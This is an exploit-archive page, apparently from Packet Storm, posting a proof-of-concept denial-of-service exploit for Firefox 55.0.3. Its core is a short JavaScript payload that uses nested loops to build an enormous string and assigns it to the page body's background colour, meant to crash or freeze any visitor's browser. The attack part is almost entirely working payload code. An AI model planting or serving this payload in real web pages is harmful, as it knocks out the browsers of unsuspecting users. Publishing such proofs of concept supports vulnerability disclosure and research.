Twenty Year Anniversary

Firefox 55.0.3 Denial Of Service

Firefox 55.0.3 Denial Of Service
Posted Aug 27, 2018
Authored by Borna Nematzadeh

Firefox version 55.0.3 suffers from a denial of service vulnerability.

tags | exploit, denial of service
MD5 | 799c7ad60a0837560bdc470bb70d69e3

Firefox 55.0.3 Denial Of Service

Change Mirror Download
# Exploit Title: Firefox 55.0.3 - Denial of Service (PoC)
# Date: 2018-08-26
# Exploit Author: L0RD
# Vendor Homepage: mozilla.org
# Software Link: https://www.mozilla.org/en-US/firefox/55.0.3/releasenotes/
# Version: 55.0.3
# Tested on: Windows 10
# CVE: N/A

# Description :
# An issue was discovered in firefox 55.0.3 which an attacker can create a
# webpage and put javascript payload to crash user's browser or put user in
# non-responsive state.

# Exploit :

/* We don't need to create any element on webpage.we just set body
attribute with our buffer variable*/
<script>
var buffer = "";
for(var i=0;i<0x11170;i++){
for(j=0;j<=0x9C40;j++){
buffer += "\x44";
}
}
document.body.style.backgroundColor = buffer;
</script>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close